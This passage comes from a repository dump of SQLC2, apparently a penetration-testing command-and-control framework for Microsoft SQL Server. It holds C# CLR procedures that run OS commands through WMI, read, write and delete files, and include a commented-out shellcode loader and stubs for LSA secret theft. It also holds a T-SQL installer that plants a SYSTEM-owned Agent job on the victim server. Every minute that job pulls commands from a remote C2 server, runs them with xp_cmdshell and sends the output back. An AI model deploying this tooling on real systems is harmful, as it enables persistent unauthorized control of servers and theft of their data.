queryObj["ParentProcessId"].ToString(); 480 | string processid = queryObj["ProcessId"].ToString(); 481 | string name = queryObj["Name"].ToString(); 482 | 483 | // Set values for each column in the row using the structure 484 | record.SetString(0, parentprocessid); 485 | record.SetString(1, processid); 486 | record.SetString(2, name); 487 | 488 | // Send the row back to the client. 489 | SqlContext.Pipe.SendResultsRow(record); 490 | 491 | } 492 | 493 | // Mark the end of the result-set. 494 | SqlContext.Pipe.SendResultsEnd(); 495 | } 496 | catch (ManagementException e) 497 | { 498 | //MessageBox.Show("An error occurred while querying for WMI data: " + e.Message); 499 | } 500 | 501 | 502 | } 503 | 504 | 505 | // -------------------------------------------------- 506 | // Function - run_command_wmi 507 | // -------------------------------------------------- 508 | // Add remote server option. 509 | [Microsoft.SqlServer.Server.SqlProcedure] 510 | public static void run_command_wmi(SqlString execCommand) 511 | { 512 | object[] theProcessToRun = { execCommand }; 513 | ManagementClass mClass = new ManagementClass(@"\\" + "127.0.0.1" + @"\root\cimv2:Win32_Process"); 514 | mClass.InvokeMethod("Create", theProcessToRun); 515 | 516 | // Create the record and specify the metadata for the columns. 517 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 518 | 519 | // Mark the begining of the result-set. 520 | SqlContext.Pipe.SendResultsStart(record); 521 | 522 | // Set values for each column in the row 523 | record.SetString(0, "WMI command executed"); 524 | 525 | // Send the row back to the client. 526 | SqlContext.Pipe.SendResultsRow(record); 527 | 528 | // Mark the end of the result-set. 529 | SqlContext.Pipe.SendResultsEnd(); 530 | } 531 | 532 | // add wrapper for c++ code in c# 533 | // https://andrearegoli.wordpress.com/2013/09/10/shellexecute-and-execute-file-in-c/ 534 | 535 | 536 | // -------------------------------------------------- 537 | // Function - write_file 538 | // -------------------------------------------------- 539 | [Microsoft.SqlServer.Server.SqlProcedure] 540 | public static void write_file(SqlString filePath, SqlString fileContent) 541 | { 542 | // Write provided file content to provided file path 543 | System.IO.File.AppendAllText(filePath.Value, fileContent.Value); 544 | 545 | // Create the record and specify the metadata for the columns. 546 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 547 | 548 | // Mark the begining of the result-set. 549 | SqlContext.Pipe.SendResultsStart(record); 550 | 551 | // This text is added only once to the file. 552 | if (File.Exists(filePath.Value)) 553 | { 554 | // Set values for each column in the row 555 | record.SetString(0, "Conent was written."); 556 | } 557 | else 558 | { 559 | 560 | // Set values for each column in the row 561 | record.SetString(0, "Conent was written."); 562 | } 563 | 564 | // Send the row back to the client. 565 | SqlContext.Pipe.SendResultsRow(record); 566 | 567 | // Mark the end of the result-set. 568 | SqlContext.Pipe.SendResultsEnd(); 569 | } 570 | 571 | // -------------------------------------------------- 572 | // Function - read_file 573 | // -------------------------------------------------- 574 | [Microsoft.SqlServer.Server.SqlProcedure] 575 | public static void read_file(String filePath) 576 | { 577 | // https://msdn.microsoft.com/en-us/library/ms143368(v=vs.110).aspx 578 | 579 | // Create the record and specify the metadata for the columns. 580 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 581 | 582 | // Mark the begining of the result-set. 583 | SqlContext.Pipe.SendResultsStart(record); 584 | 585 | // This text is added only once to the file. 586 | if (File.Exists(filePath)) 587 | { 588 | // Open the file to read from. 589 | string readText = File.ReadAllText(filePath); 590 | 591 | // Write output 592 | record.SetString(0, readText.ToString()); 593 | } 594 | else 595 | { 596 | record.SetString(0, "The file does not exist."); 597 | } 598 | 599 | // Send the row back to the client. 600 | SqlContext.Pipe.SendResultsRow(record); 601 | 602 | // Mark the end of the result-set. 603 | SqlContext.Pipe.SendResultsEnd(); 604 | } 605 | 606 | // -------------------------------------------------- 607 | // Function - remove_file 608 | // -------------------------------------------------- 609 | [Microsoft.SqlServer.Server.SqlProcedure] 610 | public static void remove_file(String filePath) 611 | { 612 | // https://msdn.microsoft.com/en-us/library/ms143368(v=vs.110).aspx 613 | 614 | // Create the record and specify the metadata for the columns. 615 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 616 | 617 | // Mark the begining of the result-set. 618 | SqlContext.Pipe.SendResultsStart(record); 619 | 620 | // This text is added only once to the file. 621 | if (File.Exists(filePath)) 622 | { 623 | // Attempt to remove the file 624 | try 625 | { 626 | File.Delete(filePath); 627 | record.SetString(0, "The file was removed."); 628 | } 629 | catch 630 | { 631 | record.SetString(0, "The file could not be removed."); 632 | } 633 | } 634 | else 635 | { 636 | record.SetString(0, "The file does not exist."); 637 | } 638 | 639 | // Send the row back to the client. 640 | SqlContext.Pipe.SendResultsRow(record); 641 | 642 | // Mark the end of the result-set. 643 | SqlContext.Pipe.SendResultsEnd(); 644 | } 645 | 646 | // -------------------------------------------------- 647 | // Marshaling Native Functions 648 | // https://msdn.microsoft.com/en-us/library/ms235282.aspx 649 | // -------------------------------------------------- 650 | private static Int32 MEM_COMMIT = 0x1000; 651 | private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr)0x40; 652 | 653 | [System.Runtime.InteropServices.DllImport("kernel32")] 654 | private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect); 655 | 656 | [System.Runtime.InteropServices.DllImport("kernel32")] 657 | private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId); 658 | 659 | // -------------------------------------------------- 660 | // Function - run_shellcode - Needs more testing - crashes service 661 | // -------------------------------------------------- 662 | 663 | // https://raw.githubusercontent.com/OJ/metasploit-framework/1c62559e55e9f4e755051c7836d0e23e856a4dad/external/source/SqlClrPayload/StoredProcedures.cs 664 | [Microsoft.SqlServer.Server.SqlProcedure] 665 | public static void run_shellcode(string base64EncodedPayload) 666 | { 667 | /* 668 | var bytes = Convert.FromBase64String(base64EncodedPayload); 669 | var mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 670 | System.Runtime.InteropServices.Marshal.Copy(bytes, 0, mem, bytes.Length); 671 | var threadId = IntPtr.Zero; 672 | CreateThread(IntPtr.Zero, UIntPtr.Zero, mem, IntPtr.Zero, 0, ref threadId); 673 | */ 674 | } 675 | 676 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 677 | // Crypto functions ////////////////////////////////////////////////////////////////////////////////// 678 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 679 | 680 | // -------------------------------------------------- 681 | // Function: EncryptThis 682 | // -------------------------------------------------- 683 | // Source: https://stackoverflow.com/questions/202011/encrypt-and-decrypt-a-string 684 | // Reference: https://msdn.microsoft.com/en-us/library/system.security.cryptography.aes(v=vs.110).aspx 685 | [Microsoft.SqlServer.Server.SqlProcedure] 686 | public static void EncryptThis(SqlString MyString, SqlString MyKey) 687 | { 688 | try 689 | { 690 | string encrypted64 = EncryptStringAES(string.Format(MyString.Value), string.Format(MyKey.Value)); 691 | 692 | // Create the record and specify the metadata for the columns. 693 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 694 | 695 | // Mark the begining of the result-set. 696 | SqlContext.Pipe.SendResultsStart(record); 697 | 698 | // Set values for each column in the row 699 | record.SetString(0, encrypted64); 700 | 701 | // Send the row back to the client. 702 | SqlContext.Pipe.SendResultsRow(record); 703 | 704 | // Mark the end of the result-set. 705 | SqlContext.Pipe.SendResultsEnd(); 706 | } 707 | catch (Exception e) 708 | { 709 | Console.WriteLine("Error: {0}", e.Message); 710 | } 711 | } 712 | 713 | // -------------------------------------------------- 714 | // Function: DecryptThis 715 | // -------------------------------------------------- 716 | [Microsoft.SqlServer.Server.SqlProcedure] 717 | public static void DecryptThis(SqlString MyString, SqlString MyKey) 718 | { 719 | try 720 | { 721 | string decrypted = DecryptStringAES(string.Format(MyString.Value), string.Format(MyKey.Value)); 722 | 723 | // Create the record and specify the metadata for the columns. 724 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 725 | 726 | // Mark the begining of the result-set. 727 | SqlContext.Pipe.SendResultsStart(record); 728 | 729 | // Set values for each column in the row 730 | record.SetString(0, decrypted); 731 | 732 | // Send the row back to the client. 733 | SqlContext.Pipe.SendResultsRow(record); 734 | 735 | // Mark the end of the result-set. 736 | SqlContext.Pipe.SendResultsEnd(); 737 | } 738 | catch (Exception e) 739 | { 740 | Console.WriteLine("Error: {0}", e.Message); 741 | } 742 | } 743 | 744 | // Set salt - May not want the salt to be static long term :P 745 | private static byte[] _salt = Encoding.Unicode.GetBytes("CaptainSalty"); 746 | 747 | public static string EncryptStringAES(string plainText, string sharedSecret) 748 | { 749 | if (string.IsNullOrEmpty(plainText)) 750 | throw new ArgumentNullException("plainText"); 751 | if (string.IsNullOrEmpty(sharedSecret)) 752 | throw new ArgumentNullException("sharedSecret"); 753 | 754 | string outStr = null; // Encrypted string to return 755 | RijndaelManaged aesAlg = null; // RijndaelManaged object used to encrypt the data. 756 | 757 | try 758 | { 759 | // generate the key from the shared secret and the salt 760 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); 761 | 762 | // Create a RijndaelManaged object 763 | aesAlg = new RijndaelManaged(); 764 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); 765 | aesAlg.Mode = CipherMode.ECB; 766 | 767 | // Create a decryptor to perform the stream transform. 768 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); 769 | 770 | // Create the streams used for encryption. 771 | using (MemoryStream msEncrypt = new MemoryStream()) 772 | { 773 | // prepend the IV 774 | msEncrypt.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, sizeof(int)); 775 | msEncrypt.Write(aesAlg.IV, 0, aesAlg.IV.Length); 776 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) 777 | { 778 | using (StreamWriter swEncrypt = new StreamWriter(csEncrypt)) 779 | { 780 | //Write all data to the stream. 781 | swEncrypt.Write(plainText); 782 | } 783 | } 784 | outStr = Convert.ToBase64String(msEncrypt.ToArray()); 785 | } 786 | } 787 | finally 788 | { 789 | // Clear the RijndaelManaged object. 790 | if (aesAlg != null) 791 | aesAlg.Clear(); 792 | } 793 | 794 | // Return the encrypted bytes from the memory stream. 795 | return outStr; 796 | } 797 | 798 | public static string DecryptStringAES(string cipherText, string sharedSecret) 799 | { 800 | if (string.IsNullOrEmpty(cipherText)) 801 | throw new ArgumentNullException("cipherText"); 802 | if (string.IsNullOrEmpty(sharedSecret)) 803 | throw new ArgumentNullException("sharedSecret"); 804 | 805 | // Declare the RijndaelManaged object 806 | // used to decrypt the data. 807 | RijndaelManaged aesAlg = null; 808 | 809 | // Declare the string used to hold 810 | // the decrypted text. 811 | string plaintext = null; 812 | 813 | try 814 | { 815 | // generate the key from the shared secret and the salt 816 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); 817 | 818 | // Create the streams used for decryption. 819 | byte[] bytes = Convert.FromBase64String(cipherText); 820 | using (MemoryStream msDecrypt = new MemoryStream(bytes)) 821 | { 822 | // Create a RijndaelManaged object 823 | // with the specified key and IV. 824 | aesAlg = new RijndaelManaged(); 825 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); 826 | aesAlg.Mode = CipherMode.ECB; 827 | 828 | // Get the initialization vector from the encrypted stream 829 | aesAlg.IV = ReadByteArray(msDecrypt); 830 | // Create a decrytor to perform the stream transform. 831 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 832 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 833 | { 834 | using (StreamReader srDecrypt = new StreamReader(csDecrypt)) 835 | 836 | // Read the decrypted bytes from the decrypting stream 837 | // and place them in a string. 838 | plaintext = srDecrypt.ReadToEnd(); 839 | } 840 | } 841 | } 842 | finally 843 | { 844 | // Clear the RijndaelManaged object. 845 | if (aesAlg != null) 846 | aesAlg.Clear(); 847 | } 848 | 849 | return plaintext; 850 | } 851 | 852 | private static byte[] ReadByteArray(Stream s) 853 | { 854 | byte[] rawLength = new byte[sizeof(int)]; 855 | if (s.Read(rawLength, 0, rawLength.Length) != rawLength.Length) 856 | { 857 | throw new SystemException("Stream did not contain properly formatted byte array"); 858 | } 859 | 860 | byte[] buffer = new byte[BitConverter.ToInt32(rawLength, 0)]; 861 | if (s.Read(buffer, 0, buffer.Length) != buffer.Length) 862 | { 863 | throw new SystemException("Did not read byte array properly"); 864 | } 865 | 866 | return buffer; 867 | } 868 | 869 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 870 | // Pending functions ///////////////////////////////////////////////////////////////////////////////// 871 | ////////////////////////////////////////////////////////////////////////////////////////////////////// 872 | 873 | [Microsoft.SqlServer.Server.SqlProcedure] 874 | public static void read_file_bin(SqlString filePath) 875 | { 876 | // Read binary file contents 877 | // https://gist.github.com/nullbind/34c63d169fadb213753c6d94567ba85c 878 | } 879 | 880 | [Microsoft.SqlServer.Server.SqlProcedure] 881 | public static void write_file_bin(SqlString filePath, SqlString fileContent) 882 | { 883 | 884 | // Write binary file content to provided file path 885 | // https://gist.github.com/nullbind/34c63d169fadb213753c6d94567ba85c 886 | } 887 | 888 | [Microsoft.SqlServer.Server.SqlProcedure] 889 | public static void read_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty) 890 | { 891 | 892 | } 893 | 894 | [Microsoft.SqlServer.Server.SqlProcedure] 895 | public static void write_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty) 896 | { 897 | 898 | } 899 | 900 | [Microsoft.SqlServer.Server.SqlProcedure] 901 | public static void write_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty, SqlString regValue) 902 | { 903 | 904 | } 905 | 906 | [Microsoft.SqlServer.Server.SqlProcedure] 907 | public static void run_command_ps(SqlString PsCode) 908 | { 909 | 910 | } 911 | 912 | [Microsoft.SqlServer.Server.SqlProcedure] 913 | public static void send_http_post(SqlString PostRequest) 914 | { 915 | 916 | } 917 | 918 | [Microsoft.SqlServer.Server.SqlProcedure] 919 | public static void send_http_get(SqlString GetRequest) 920 | { 921 | 922 | } 923 | 924 | [Microsoft.SqlServer.Server.SqlProcedure] 925 | public static void get_lsa_secrets(SqlString GetRequest) 926 | { 927 | 928 | } 929 | }; 930 | -------------------------------------------------------------------------------- /images/Get-Command-Results.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Get-Command-Results.png -------------------------------------------------------------------------------- /images/Install_SQLC2_Link_Agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Install_SQLC2_Link_Agent.png -------------------------------------------------------------------------------- /images/Install_SQLC2_Server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Install_SQLC2_Server.png -------------------------------------------------------------------------------- /images/List execute agent commands.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/List execute agent commands.png -------------------------------------------------------------------------------- /images/Set Command to Run on Agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Set Command to Run on Agent.png -------------------------------------------------------------------------------- /images/arch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/arch.png -------------------------------------------------------------------------------- /tsql/Install-SQLC2AgentLink.sql: -------------------------------------------------------------------------------- 1 | -- You can do a find and replace on the following values to get things rolling: 2 | -- C2INSTANCEHERE 3 | -- C2DATABASEHERE 4 | -- C2USERNAMEHERE 5 | -- C2PASSWORDHERE 6 | 7 | ----------------------------------- 8 | -- Create Server Link to C2 9 | ----------------------------------- 10 | 11 | USE [master] 12 | GO 13 | 14 | -- Create Server Link C2 Server 15 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 0 16 | EXEC master.dbo.sp_addlinkedserver @server = N'C2INSTANCEHERE', 17 | @srvproduct=N'', 18 | @provider=N'SQLNCLI', 19 | @datasrc=N'C2INSTANCEHERE', -- Add your c2 instance here 20 | @catalog=N'C2DATABASEHERE' -- Add your c2 database here 21 | 22 | -- Associate credentials with the server link 23 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 24 | EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink', 25 | @useself=N'False', 26 | @locallogin=NULL, 27 | @rmtuser=N'C2USERNAMEHERE, -- Add your c2 username here 28 | @rmtpassword='C2PASSWORDHERE' -- Add your c2 password here 29 | 30 | -- Configure the server link 31 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1 32 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'data access', @optvalue=N'true' 33 | 34 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1 35 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'rpc', @optvalue=N'true' 36 | 37 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1 38 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'rpc out', @optvalue=N'true' 39 | 40 | -- Verify addition of link 41 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1 42 | SELECT 1 43 | ELSE 44 | SELECT 0 45 | 46 | 47 | ----------------------------------- 48 | -- Create TSQL Agent Job 49 | ----------------------------------- 50 | 51 | USE [msdb] 52 | GO 53 | 54 | 55 | BEGIN TRANSACTION 56 | DECLARE @ReturnCode INT 57 | SELECT @ReturnCode = 0 58 | 59 | 60 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) 61 | BEGIN 62 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' 63 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 64 | 65 | END 66 | 67 | DECLARE @jobId BINARY(16) 68 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job', 69 | @enabled=1, 70 | @notify_level_eventlog=0, 71 | @notify_level_email=0, 72 | @notify_level_netsend=0, 73 | @notify_level_page=0, 74 | @delete_level=0, 75 | @description=N'No description available.', 76 | @category_name=N'[Uncategorized (Local)]', 77 | @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT 78 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 79 | 80 | 81 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command', 82 | @step_id=1, 83 | @cmdexec_success_code=0, 84 | @on_success_action=1, 85 | @on_success_step_id=0, 86 | @on_fail_action=2, 87 | @on_fail_step_id=0, 88 | @retry_attempts=0, 89 | @retry_interval=0, 90 | @os_run_priority=0, @subsystem=N'TSQL', 91 | @command=N'-- Query server link - Register the agent 92 | IF not Exists (SELECT * FROM [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents WHERE servername = (select @@SERVERNAME)) 93 | INSERT [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'') 94 | ELSE 95 | UPDATE [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents SET lastcheckin = (select GETDATE ()) 96 | WHERE servername like (select @@SERVERNAME) 97 | 98 | -- Get the pending commands for this server from the C2 SQL Server 99 | DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000)) 100 | INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Commands WHERE status like ''pending'' and servername like @@servername 101 | 102 | -- Run all the command for this server 103 | WHILE (SELECT count(*) FROM @output) > 0 104 | BEGIN 105 | 106 | -- Setup variables 107 | DECLARE @CurrentCid varchar (8000) -- current cid 108 | DECLARE @CurrentCmd varchar (8000) -- current command 109 | DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table 110 | DECLARE @result varchar(8000) -- xp_cmdshell output value 111 | 112 | -- Get first command in the list - need to add cid 113 | SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output) 114 | SELECT @CurrentCid as cid 115 | SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output) 116 | SELECT @CurrentCmd as command 117 | 118 | -- Run the command - not command output break when multiline - need fix, and add cid 119 | INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd 120 | SET @result = (select top 1 result from @xpoutput) 121 | select @result as result 122 | 123 | -- Upload results to C2 SQL Server - need to add cid 124 | Update [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Commands set result = @result, status=''success'' 125 | WHERE servername like @@SERVERNAME and cid like @CurrentCid 126 | 127 | -- Clear the command result history 128 | DELETE FROM @xpoutput 129 | 130 | -- Remove first command 131 | DELETE TOP (1) FROM @output 132 | END 133 | ', 134 | @database_name=N'master', 135 | @flags=0 136 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 137 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 138 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 139 | EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule', 140 | @enabled=1, 141 | @freq_type=4, 142 | @freq_interval=1, 143 | @freq_subday_type=4, 144 | @freq_subday_interval=1, 145 | @freq_relative_interval=0, 146 | @freq_recurrence_factor=0, 147 | @active_start_date=20180521, 148 | @active_end_date=99991231, 149 | @active_start_time=0, 150 | @active_end_time=235959, 151 | @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88' 152 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 153 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' 154 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 155 | COMMIT TRANSACTION 156 | GOTO EndSave 157 | QuitWithRollback: 158 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION 159 | EndSave: 160 | 161 | GO 162 | --------------------------------------------------------------------------------